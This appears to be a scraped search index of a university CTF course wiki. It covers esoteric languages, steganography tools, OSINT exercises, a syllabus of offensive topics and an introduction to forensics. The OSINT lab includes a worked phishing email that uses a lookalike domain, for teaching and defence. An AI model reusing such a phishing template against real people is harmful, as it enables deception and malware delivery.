Value of ([c] + c) % 94 Instruction represented Explanation 4 jmp [d] Copies the value at [d] to c. Note that c will still be incremented after execution of this instruction, so the next instruction to be executed will be the one at [d] + 1 (modulo 59049). 5 out a Prints the value of a, as an ASCII character, to the screen. 23 in a Inputs a character, as an ASCII code, into a. Newlines or line feeds are both code 10. An end-of-file condition is code 59048. 39 rotr [d] mov a, [d] Rotates the value at [d] by one ternary digit to the right (0002111112 becomes 2000211111). Stores the result both at [d] and in a. 40 mov d, [d] Copies the value at [d] to d. 62 crz [d], a mov a, [d] Does the crazy operation (see below) with the value at [d] and the value of a. Stores the result both at [d] and in a. 68 nop Does nothing. 81 end Ends the Malbolge program. Any other value does the same as 68: nothing. These other values are not allowed in a program while it is being loaded, but are allowed afterwards.After each instruction is executed, the guilty instruction gets encrypted (see below) so that it will not do the same thing next time, unless a jump just happened. Right after a jump, Malbolge will encrypt the innocent instruction just prior to the one it jumped to instead. Then, the values of both c and d are increased by one and the next instruction is executed.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#piet","title":"Piet","text":"A graphical programming language... looks like large 8-bit pixels in a variety of colors. Can be interpreted with the tool npiet
A codel in Piet is like an image's pixel. Some Piet programs are upscaled, meaning that a codel might not always be equivalent to 1 pixel, but a codel is always a substitute for pixels.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#color-blocks","title":"Color blocks","text":"A color block is any group of codels of the same color that are adjacent to each other. Note that codels only touching each other diagonally are not considered part of the same color block; they must be touching in one if the 4 cardinal directions to be part of the same color block.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#direction-pointer","title":"Direction pointer","text":"The direction pointer (DP) is what moves along the program to make it run. It can be in any one of the 4 cardinal directions. The direction pointer always starts at the color block containing the upper-left-most codel, and always starts facing right. After it has executed the proper command, it will move on to the next color block that is both:
This continues until the program terminates (see below).
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#codel-chooser","title":"Codel chooser","text":"The codel chooser (CC) is used when multiple color blocks meet the above two criteria for the next block to be executed. Its direction is always relative to the DP's direction, and starts out facing left. When there are more than one possible color blocks to be executed, the one farthest in the direction of the codel chooser (again, relative to the DP) is the one chosen. The codel chooser can only point left or right.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#colors","title":"Colors","text":"Piet uses 20 colors in its programs. Each of these colors (with the exceptions of white and black) have two properties, those being hue and lightness. All colors and their properties are shown in the table below.
Light red (#FFC0C0) Light yellow (#FFFFC0) Light green (#C0FFC0) Light cyan (#C0FFFF) Light blue (#C0C0FF) Light magenta (#FFC0FF) Red (#FF0000) Yellow (#FFFF00) Green (#00FF00) Cyan (#00FFFF) Blue (#0000FF) Magenta (#FF00FF) Dark red (#C00000) Dark yellow (#C0C000) Dark green (#00C000) Dark cyan (#00C0C0) Dark blue (#0000C0) Dark magenta (#C000C0)Hue is shown going to the left and lightness is shown going down. Note that these properties are cycles, meaning that, in terms of hue, red comes after magenta. Hue always goes to the left, and lightness always goes down, meaning that going from yellow to red is 5 changes in hue, and vice versa.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#white","title":"White","text":"White (#FFFFFF) is one of the two colors in Piet that doesn't fit into either cycle. White color blocks act like blank spaces. When the DP encounters a white block, it will simply go through it and move on to the next color block. No commands are executed when the DP goes through a white block.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#black","title":"Black","text":"Black (#000000) is like the opposite of white in the sense that the DP cannot pass through it. If the DP tries to go to the next color block but fails because of a black block, it will switch the CC to its other state and try again. If it still can't get to the next color block, then the DP will be rotated one step clockwise. If the DP has gone through all possible states but it still can't get to the next color block, it will conclude there is no way out and the program will terminate. This is the only way to terminate a Piet program.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#commands_1","title":"Commands","text":"Piet commands aren't executed based on the color the DP is on, but instead based on the change in lightness and hue. Below is a table with all 17 commands in Piet and how they're executed.
Hue change Light ness change No change 1 darker 2 darker No change N/A Push Pop 1 step Add Subtract Multiply 2 steps Divide Modulo Not 3 steps Greater Pointer Switch 4 steps Duplicate Roll Input num 5 steps Input char Output num Output charA joke language. Recognizable by .
and ?
, and !
.
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.\nOok! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?\nOok! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.\n
Brainfuck Ook! Description > Ook. Ook? Move the pointer to the right < Ook? Ook. Move the pointer to the left + Ook. Ook. Increment the memory cell under the pointer - Ook! Ook! Decrement the memory cell under the pointer . Ook! Ook. Output the character signified by the cell at the pointer , Ook. Ook! Input a character and store it in the cell at the pointer [ Ook! Ook? Jump past the matching Ook? Ook!
if the cell under the pointer is 0 ] Ook? Ook! Jump back to the matching Ook! Ook?
n/a Ook? Ook? Give the memory pointer a banana"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#steganography","title":"Steganography","text":""},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#stegcracker","title":"StegCracker","text":"Don't ever forget about steghide
! This tool can use a password list like rockyou.txt
with steghide. SOME IMAGES CAN HAVE MULTIPLE FILED ENCODED WITH MULTIPLE PASSWORDS.
At first, the secret data is compressed and encrypted. Then a sequence of postions of pixels in the cover file is created based on a pseudo-random number generator initialized with the passphrase (the secret data will be embedded in the pixels at these positions). Of these positions those that do not need to be changed (because they already contain the correct value by chance) are sorted out. Then a graph-theoretic matching algorithm finds pairs of positions such that exchanging their values has the effect of embedding the corresponding part of the secret data. If the algorithm cannot find any more such pairs all exchanges are actually performed. The pixels at the remaining positions (the positions that are not part of such a pair) are also modified to contain the embedded data (but this is done by overwriting them, not by exchanging them with other pixels). The fact that (most of) the embedding is done by exchanging pixel values implies that the first-order statistics (i.e. the number of times a color occurs in the picture) is not changed. For audio files the algorithm is the same, except that audio samples are used instead of pixels.\n
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#stegsolvejar","title":"Stegsolve.jar
","text":"A Java .JAR
tool, that will open an image and let you as the user arrow through different renditions of the image (viewing color channels, inverted colors, and more). The tool is surprisingly useful.
zsteg
","text":"Command-line tool for use against Least Significant Bit steganography... unfortunately only works against PNG and BMP images.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#morse-code","title":"Morse Code","text":"Always test for this if you are seeing two distinct values... it may not always be binary! Online decoders like so: https://morsecode.scphillips.com/translator.html
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#whitespace","title":"Whitespace","text":"Tabs and spaces could be representing 1's and 0's and treating them as a binary message... or, they could be whitespace done with snow
or an esoteric programming language interpreter: https://tio.run/#whitespace
When given a sequence with only A, C, G, T , there is an online mapping for these. Try this:
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#sonic-visualizer-audio-spectrum","title":"SONIC Visualizer (audio spectrum)","text":"
Some classic challenges use an audio file to hide a flag or other sensitive stuff. SONIC visualizer easily shows you spectrogram. If it sounds like there is random bleeps and bloops in the sound, try this tactic!
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#detect-dtmf-tones","title":"Detect DTMF Tones","text":"Audio frequencies common to a phone button, DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling.
1209 Hz 1336 Hz 1477 Hz 1633 Hz 697 Hz 1 2 3 A 770 Hz 4 5 6 B 852 Hz 7 8 9 C 941 Hz * 0 # D"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#phone-keypad","title":"Phone-Keypad","text":"Some messages may be hidden with a string of numbers, but really be encoded with old cell phone keypads, like text messaging with numbers repeated:
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#qr-code","title":"QR code","text":"A small square \"barcode\" image that holds data.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#encoding","title":"Encoding","text":"Meaning of format information. In the above figure, the format information is protected by a (15,5) BCH code, which can correct up to 3-bit errors. The total length of the code is 15 bits, of which 5 are data bits (2 EC level + 3 mask pattern) and 10 are extra bits for error correction. The format mask for these 15 bits is: [101010000010010]. Note that we map the masked values directly to their meaning here, in contrast to image 4 \"Levels & Masks\" where the mask pattern numbers are the result of putting the 3rd to 5th mask bit, [101], over the 3rd to 5th format info bit of the QR code.
Message placement within a QR symbol. The message is encoded using a (255,249) Reed Solomon code (shortened to (24,18) code by using \"padding\") which can correct up to 3-byte errors.
The larger symbol illustrates interleaved blocks. The message has 26 data bytes and is encoded using two Reed-Solomon code blocks. Each block is a (255,233) Reed Solomon code (shortened to (35,13) code), which can correct up to 11-byte errors in a single burst, containing 13 data bytes and 22 \"parity\" bytes appended to the data bytes. The two 35-byte Reed-Solomon code blocks are interleaved so it can correct up to 22-byte errors in a single burst (resulting in a total of 70 code bytes). The symbol achieves level H error correction.
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#assignment","title":"Assignment","text":""},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#1-easy-shuodedaoli","title":"(1 - Easy) ShuoDeDaoLi","text":"Don't view the image...
attachment
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#2-medium-qr-or-not-qr","title":"(2 - Medium) QR or not QR","text":"QR or not QR, this is a question. However, I can grant the image size is 310 px * 310 px.
attachment
"},{"location":"CS315/Lab%208%20Forensics%20and%20Steganography%20Part%20II/#3-medium-cyberpunk-audio","title":"(3 - Medium) Cyberpunk Audio","text":"The music transferred from the moon. The last part sounds corrupted though.
attachment
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/","title":"Lab 9: Open-Source Intelligence","text":"Reference: https://ctfacademy.github.io/osint/index.htm by CTF Academy
Reference: https://osintframework.com/ by jnordine
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#open-source-intelligence","title":"Open Source Intelligence","text":"Open-source intelligence, also known as OSINT, refers to gathering information from publicly available sources, such as social media, company websites, and news articles. There is a great deal of information that can be gathered about a company or person through open-source intelligence.
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#osint-techniques","title":"OSINT Techniques","text":"In a cybersecurity context, OSINT can be used to recon a target before performing a penetration test or to generate a report of the information a company is leaking through public sources. Cybercriminals use OSINT to collect information on a target before attacking; also, OSINT can be used to help guess a user\u2019s password. Many people use passwords that relate to themselves. For example, a common password creation method is to use the name of your favorite pet followed by the year you were born. This is a very poor password creation technique because this information is easy for a malicious user to obtain from openly available sources, such as your social media accounts. In addition to possible password information, OSINT can reveal information about a company\u2019s internal computer network. For example, a company\u2019s promotional website may include pictures of employees working. These pictures may reveal information about the company\u2019s inner workings, such as internal website URLs and private documents. OSINT can also be used to create a phony, malicious email targeting a company or individual; these phony emails are referred to as \u201cphishing\u201d emails.
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#osint-attack-example","title":"OSINT Attack Example","text":"The following is an example of a company press release and a phishing email created using information from the press release:
Company XYZ\n\nRecently Company XYZ has been making astounding progress on a new project. We have been working with many of the finest software engineers to develop a new internet browser with voice control capabilities. A special thanks go out to John Smith from Software ABC Corp. for his assistance with this project (more information can be found at softwareabccorp.com). The expected release date is early 2021.\n\nCompany XYZ,\nSpeaking is the future!\n
Using the information in the above press release, an attacker could form the following phishing email:
Email\n\nTo: ceo@companyxyz.com\nFrom: jsmith@softwareabccorp.co\nSubject: New Research About Voice Control\n\nDear Company XYZ CEO,\n\nHere is a link to my new research paper about voice control technologies: Softwarecorp.co/newpaper.pdf.\n\nDue to our recent collaboration on your new internet browser, I know this paper will interest you greatly. Please read it and give me your thoughts.\n\n\n\nThank you,\nJohn Smith\nSoftware ABC Corp.\n
The attacker would send the above email to the CEO in hopes she would click on the link and unknowingly download the attacker\u2019s malicious file containing a computer virus.
The attacker created this email using information gleaned from Company XYZ\u2019s press release. The attacker registered a website and email at \u201csoftwareabccorp.co,\u201d notice the \u201c.co\u201d instead of the \u201c.com\u201d at the end of the address. Also, the name of the researcher connected to the project, John Smith, was mentioned in the press release and was used by the attacker to add believability to his phishing email. Finally, the attacker\u2019s link to a supposed \u201cresearch paper\u201d that would be of interest to the targeted CEO. In a malicious phishing email, this link would lead to a computer virus and infect the CEO\u2019s computer.
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#osint-defensive-techniques","title":"OSINT Defensive Techniques","text":"OSINT can also be used defensively. Open source intel can be used to keep up with cybersecurity trends and the techniques cyber criminals are using right now. Many websites provide OSINT about cyber attack trends reported by cybersecurity professionals. Also, when a company is receiving unusual internet traffic, OSINT can be used to determine if the usual traffic is coming from a known malicious IP address (An IP address is a four-part number that identifies the source of a network connection).
The following are just a few of the thousands of IP addresses that originate from China:
A cyber defender can better analyze unusual internet traffic using public sources about IP address origins.
For example, if the network administrator at an organization notices a high volume of internet traffic causing the organization\u2019s website to be overloaded, he can analyze the origins of the internet traffic and determine if the traffic is likely malicious. Using OSINT to research the IP addresses of the internet traffic, a cybersecurity specialist can determine if the traffic originates from known malicious IP addresses.
Chinese IP Addresses 36.37.36.114 36.37.39.204 42.1.128.64A cyber defender can better analyze unusual internet traffic using public sources about IP address origins.
For example, if the network administrator at an organization notices a high volume of internet traffic causing the organization\u2019s website to be overloaded, he can analyze the origins of the internet traffic and determine if the traffic is likely malicious. Using OSINT to research the IP addresses of the internet traffic, a cybersecurity specialist can determine if the traffic originates from known malicious IP addresses.
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#osint-framework","title":"OSINT Framework","text":"Visit OSINT Framework for OSINT structure and categories.
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#assignment","title":"Assignment","text":""},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#1-easy-emo","title":"(1 - Easy) Emo","text":"In the circle of friends, I found a photo. There is more information than thought.
Flag format: flag{[from city]-[to city]-[flight number]}
For example: flag{\u6df1\u5733-\u5e7f\u5dde-1A2345}
Attachment
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#2-easy-travel-photo","title":"(2 - Easy) Travel Photo","text":"I want to travel here too! But how to find the location?
Flag format: flag{[city name]-[location name]}
For example: flag{\u6df1\u5733-\u6b22\u4e50\u8c37}
Attachment
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#3-medium-home","title":"(3 - Medium) Home","text":"A photo that was someone's house. A lovely place to live in. However, I want to know the location where this photo was taken.
Flag format: flag{[location name]}
For example: flag{\u65e0\u4eba\u673a}
Attachment
"},{"location":"CS315/Lab%209%20Open-Source%20Intelligence/#4-medium-football","title":"(4 - Medium) Football","text":"A real fan can remember this immediately.
Flag format: flag{[yyyy-mm-dd]-[location name]}
For example: flag{2022-02-30-\u98ce\u96e8\u64cd\u573a}
Attachment
"},{"location":"CS315/2021/Exercise%20Solutions/","title":"Exercise Solutions","text":"Week 1 solution: PDF
Week 2 solution: PDF
Week 3 solution: PDF
Week 4 solution: PDF
Week 5 solution: PDF
Week 6 solution: PDF
Week 7 solution: PDF
"},{"location":"CS315/2021/Overview/","title":"Overview","text":"Capture The Flags, or CTFs, are a kind of computer security competition.
Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.
Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
In this guide/wiki/handbook you'll learn the techniques, thought processes, and methodologies you need to succeed in Capture the Flag competitions.
"},{"location":"CS315/2021/Overview/#grading-policy","title":"Grading Policy","text":"Topics Grade Lab1: Forensics 10 Lab2: Buffer Overflow 10 Lab3: Web Information Discovery 10 Lab4: Web Vulnerability Exploit 10 Lab5: De-compiling Program 10 Lab6: Attacking WiFi 10 Lab7: Physical Attacks 10 Lab8: Social Engineering 10 Lab9: Privilege Escalation 10 Lab10: Public Key Crypto Attacking 10 Lab11: Attacking Websites 10 Lab12: ROL and ROP 10 Attack and Defense CTF (bonus) 100"},{"location":"CS315/2021/Overview/#class-schedule","title":"Class Schedule","text":"CTFs in CS315 Course aims to provide an experimental environment. Instructions of CTF components in CS315 are as follow:
Date Topic Content File Week 1 CTF Introduction and Forensics 1. Introduce CTF2. Basic Forensics3. Network traffic analysis Week 1.md Week 2 PWN: Basic Buffer Overflow 1. Introduce PWN2. Stack and buffer overflow3. Return to shellcode Week 2.mdWeek 2.pdf Week 3 PWN: Advanced Buffer Overflow 1. Calling conversion2. Binary security3. Bypass canary & PIE Week 3.md Week 4 WEB: Information Discovery 1. Passive information gathering2. Active information gathering Week 4.md Week 5 WEB: Vulnerability Exploit 1. Injection2. Traversal3. CSRF & XSS4. SSRF Week 5.md Week 6 RE: De-compiling Program 1. Assembly2. From C to assembly3. Disassemblers and Decompiles4. Debugging with GDB Week 6.md Week 7 WLAN: Attacking WiFi 1. WiFi attacking tools2. Resume attack3. WiFi crypto attack4. Evil Twin Week 7.md Week 8 MISC: Physical Attacks 1. BIOS2. Bad USB3. Attack printers Week 8.md Week 9 MISC: Social Engineering 1. Cloning a website2. Phishing Week 9.md Week 10 PWN: Privilege Escalation 1. Gather vulnerabilities2. Privilege escalation Week 10.md Week 11 CRYPTO: Public Key Crypto Attacking 1. Traditional crypto2. Hash functions3. RSA Week 11.md Week 12 WEB: Attacking Websites 1. OWASP top 102. Proxies vulnerabilities3. User input vulnerabilities Week 12.md Week 13 PWN: ROL and ROP 1. ROP2. Dynamic ROP chain3. ROL Week 13.md Week 14 CTF: Attack-Defense CTF 1. Introduction2. Environment set3. Grading Week 14.md"},{"location":"CS315/2021/Overview/#contact-me","title":"Contact me","text":"If you have any questions about the CTF part, feel free to contact me : liz33[at]mail.sustech.edu.cn
"},{"location":"CS315/2021/Week%201/","title":"Week 1 CTF Introduction and Forensics","text":"According to the @CTF101: https://ctf101.org/
"},{"location":"CS315/2021/Week%201/#introduction-to-ctf","title":"Introduction to CTF","text":"Capture The Flags, or CTFs, are a kind of computer security competition.
Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.
Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.
Figure: CTFs on the CTFtime website.
These contests run every month by various organizations and universities across the globe. These contests can be arranged in the 3 styles:
Most of the CTFs are online, while some of them (usually finals) are offline. The most famous CTF is the DEF CON CTF, which is held every August annually.
In our semester, every lab would have several CTF challenges in Jeopardy format. By the end of this semester, yet another AWD (Attack & Defense) CTF would be hold.
"},{"location":"CS315/2021/Week%201/#categories","title":"Categories","text":"In Jeopardy format CTFs, there are usually 5 categories:
Forensics is the art of recovering the digital trail left on a computer. There are plenty of methods to find data which is seemingly deleted, not stored, or worse, covertly recorded.
Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes which are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.
The word \u201ccryptography\u201d technically means the art of writing codes. When it comes to digital forensics, it\u2019s a method you can use to understand how data is constructed for your analysis.
Websites all around the world are programmed using various programming languages. While there are specific vulnerabilities in each programming langage that the developer should be aware of, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.
These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher level privileges.
Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human readable format.
Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.
Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
Some other categories growing up in recent years, like IoT (Internet of Thing) and AI.
"},{"location":"CS315/2021/Week%201/#forensics","title":"Forensics","text":"An important part of Forensics is having the right tools, as well as being familiar with the following topics:
File Extensions are not the sole way to identify the type of a file, files have certain leading bytes called file signatures which allow programs to parse the data in a consistent manner. Files can also contain additional \"hidden\" data called metadata which can be useful in finding out information about the context of a file's data.
"},{"location":"CS315/2021/Week%201/#file-signatures","title":"File Signatures","text":"File signatures (also known as File Magic Numbers) are bytes within a file used to identify the format of the file. Generally they\u2019re 2-4 bytes long, found at the beginning of a file.
"},{"location":"CS315/2021/Week%201/#what-is-it-used-for","title":"What is it used for?","text":"Files can sometimes come without an extension, or with incorrect ones. We use file signature analysis to identify the format (file type) of the file. Programs need to know the file type in order to open it properly.
"},{"location":"CS315/2021/Week%201/#how-do-you-find-the-file-signature","title":"How do you find the file signature?","text":"You need to be able to look at the binary data that constitutes the file you\u2019re examining. To do this, you\u2019ll use a hexadecimal editor. Once you find the file signature, you can check it against file signature repositories such as Gary Kessler\u2019s.
"},{"location":"CS315/2021/Week%201/#example","title":"Example","text":"The file above, when opened in a Hex Editor, begins with the bytes FFD8FFE0 00104A46 494600
or in ASCII \u02c7\u00ff\u02c7\u2021 JFIF
where \\x00
and \\x10
lack symbols.
Searching in Gary Kessler\u2019s database shows that this file signature belongs to a JPEG/JFIF graphics file
, exactly what we suspect.
File extension is used to uniquely describe a format of a particular file whereas file signature is the header information that is present in each file.
Some operating systems (Windows like) use file extension to bind with applications to open the file, while some other operating systems check file signature in the header to guess the file format (file command in Unix).
"},{"location":"CS315/2021/Week%201/#what-about-mime","title":"What about MIME?","text":"A media type (also known as a Multipurpose Internet Mail Extensions or MIME type) is a standard that indicates the nature and format of a document, file, or assortment of bytes. It is defined and standardized in IETF's RFC 6838.
This type is identified in HTTP packets and DO NOT stipulate the real file format. For example, a MIME type image/jpg
means the transferred data LIKELY to be a JPEG image, but user can post a plain text
or anything
in real body.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502\n \u2502 HTTP packe \u2502\n \u2502 \u2502\n \u2502 MIME:image/jpg \u2502\n \u2502 \u2502\nA \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \u2502 \u250c\u2500\u2500\u2510 \u2502 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba B\n \u2502 \u2502 \u2502 \u2502\n \u2502 \u2502 \u2502flag.jpg \u2502\n \u2502 \u2514\u2500\u252c\u2518 \u2502\n \u2502 \u2502 \u2502\n \u2514\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u2502\n \u25bc\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502GIF89a\\xc8\\x00 \u2502\n \u2502\\x96\\x00\\xf7\\x00\u2502\n \u2502... \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
The file signature is GIF8
while the file extension is .jpg
, with the MIME type image/jpg
during HTTP transmission.
The given file is a GIF image instead of JPEG file.
"},{"location":"CS315/2021/Week%201/#metadata","title":"Metadata","text":"Metadata is data about data. Different types of files have different metadata. The metadata on a photo could include dates, camera information, GPS location, comments, etc. For music, it could include the title, author, track number and album.
"},{"location":"CS315/2021/Week%201/#what-kind-of-file-metadata-is-useful","title":"What kind of file metadata is useful?","text":"Potentially, any file metadata you can find could be useful.
"},{"location":"CS315/2021/Week%201/#how-do-i-find-it","title":"How do I find it?","text":"One of our favorite tools is exiftool, which displays metadata for an input file, including: - File size - Dimensions (width and height) - File type - Programs used to create (e.g. Photoshop) - OS used to create (e.g. Apple)
Run command line: exiftool(-k).exe [filename]
and you should see something like this:
Let's take a look at File A's metadata with exiftool:
File type
Image description
Make and camera info
GPS Latitude/Longitude
"},{"location":"CS315/2021/Week%201/#timestamps","title":"Timestamps","text":"Timestamps are data that indicate the time of certain events (MAC): - Modification \u2013 when a file was modified - Access \u2013 when a file or entries were read or accessed - Creation \u2013 when files or entries were created
"},{"location":"CS315/2021/Week%201/#types-of-timestamps","title":"Types of timestamps","text":"Certain events such as creating, moving, copying, opening, editing, etc. might affect the MAC times. If the MAC timestamps can be attained, a timeline of events could be created.
"},{"location":"CS315/2021/Week%201/#timeline-patterns","title":"Timeline Patterns","text":"There are plenty more patterns than the ones introduced below, but these are the basics you should start with to get a good understanding of how it works, and to complete this challenge.
"},{"location":"CS315/2021/Week%201/#examples","title":"Examples","text":"
We know that the BMP files fileA and fileD are the same, but that the JPEG files fileB and fileC are different somehow. So how can we find out what went on with these files?
By using time stamp information from the file system, we can learn that the BMP fileD was the original file, with fileA being a copy of the original. Afterward, fileB was created by modifying fileB, and fileC was created by modifying fileA in a different way.
Follow along as we demonstrate.
We\u2019ll start by analyzing images in AccessData FTK Imager, where there\u2019s a Properties window that shows you some information about the file or folder you\u2019ve selected.
Here are the extracted MAC times for fileA, fileB, fileC and fileD: Note, AccessData FTK Imager assumes that the file times on the drive are in UTC (Universal Coordinated Time). I subtracted four hours, since the USB was set up in Eastern Standard Time. This isn\u2019t necessary, but it helps me understand the times a bit better.
Highlight timestamps that are the same, if timestamps are off by a few seconds, they should be counted as the same. This lets you see a clear difference between different timestamps. Then, highlight oldest to newest to help put them in order.
Identify timestamp patterns.
"},{"location":"CS315/2021/Week%201/#wireshark","title":"Wireshark","text":"Wireshark is a network protocol analyzer which is often used in CTF challenges to look at recorded network traffic. Wireshark uses a filetype called PCAP to record traffic. PCAPs are often distributed in CTF challenges to provide recorded traffic history.
"},{"location":"CS315/2021/Week%201/#interface","title":"Interface","text":"Upon opening Wireshark, you are greeted with the option to open a PCAP or begin capturing network traffic on your device.
The network traffic displayed initially shows the packets in order of which they were captured. You can filter packets by protocol, source IP address, destination IP address, length, etc.
In order to apply filters, simply enter the constraining factor, for example 'http', in the display filter bar.
Filters can be chained together using '&&' notation. In order to filter by IP, ensure a double equals '==' is used.
The most pertinent part of a packet is its data payload and protocol information.
"},{"location":"CS315/2021/Week%201/#decrypting-ssl-traffic","title":"Decrypting SSL Traffic","text":"By default, Wireshark cannot decrypt SSL traffic on your device unless you grant it specific certificates.
"},{"location":"CS315/2021/Week%201/#high-level-ssl-handshake-overview","title":"High Level SSL Handshake Overview","text":"In order for a network session to be encrypted properly, the client and server must share a common secret for which they can use to encrypt and decrypt data without someone in the middle being able to guess. The SSL Handshake loosely follows this format:
There are several ways to be able to decrypt traffic.
Steganography is the practice of hiding data in plain sight. Steganography is often embedded in images or audio.
You could send a picture of a cat to a friend and hide text inside. Looking at the image, there\u2019s nothing to make anyone think there\u2019s a message hidden inside it.
You could also hide a second image inside the first.
"},{"location":"CS315/2021/Week%201/#steganography-detection","title":"Steganography Detection","text":"So we can hide text and an image, how do we find out if there is hidden data?
FileA and FileD appear the same, but they\u2019re different. Also, FileD was modified after it was copied, so it\u2019s possible there might be steganography in it.
FileB and FileC don\u2019t appear to have been modified after being created. That doesn\u2019t rule out the possibility that there\u2019s steganography in them, but you\u2019re more likely to find it in fileD. This brings up two questions:
File are made of bytes. Each byte is composed of eight bits.
Changing the least-significant bit (LSB) doesn\u2019t change the value very much.
So we can modify the LSB without changing the file noticeably. By doing so, we can hide a message inside.
"},{"location":"CS315/2021/Week%201/#lsb-steganography-in-images","title":"LSB Steganography in Images","text":"LSB Steganography or Least Significant Bit Steganography is a method of Steganography where data is recorded in the lowest bit of a byte.
Say an image has a pixel with an RGB value of (255, 255, 255), the bits of those RGB values will look like
1 1 1 1 1 1 1 1By modifying the lowest, or least significant, bit, we can use the 1 bit space across every RGB value for every pixel to construct a message.
1 1 1 1 1 1 1 0The reason Steganography is hard to detect by sight is because a 1 bit difference in color is insignificant as seen below.
"},{"location":"CS315/2021/Week%201/#example_3","title":"Example","text":"Let\u2019s say we have an image, and part of it contains the following binary:
And let\u2019s say we want to hide the character y inside.
First, we need to convert the hidden message to binary.
Now we take each bit from the hidden message and replace the LSB of the corresponding byte with it.
And again:
And again:
And again:
And again:
And again:
And again:
And once more:
Decoding LSB steganography is exactly the same as encoding, but in reverse. For each byte, grab the LSB and add it to your decoded message. Once you\u2019ve gone through each byte, convert all the LSBs you grabbed into text or a file. (You can use your file signature knowledge here!)
"},{"location":"CS315/2021/Week%201/#what-other-types-of-steganography-are-there","title":"What other types of steganography are there?","text":"Steganography is hard for the defense side, because there\u2019s practically an infinite number of ways it could be carried out. Here are a few examples: - LSB steganography: different bits, different bit combinations - Encode in every certain number of bytes - Use a password - Hide in different places - Use encryption on top of steganography
"},{"location":"CS315/2021/Week%201/#blind-watermark","title":"Blind Watermark","text":"Blind watermark is a kind of technique to embed one picture or string to another image. Just like the regular watermark, but the blind watermark cannot be detected by using human eyes. The transformed image is indistinguishable from the origin one.
Furthermore, blind watermark should be able to bypass different types of processing of image. For example, rotating the picture should not broke the blind watermark. Some modern researches are focusing on the strong transform of the image, such like film the image from another screen.
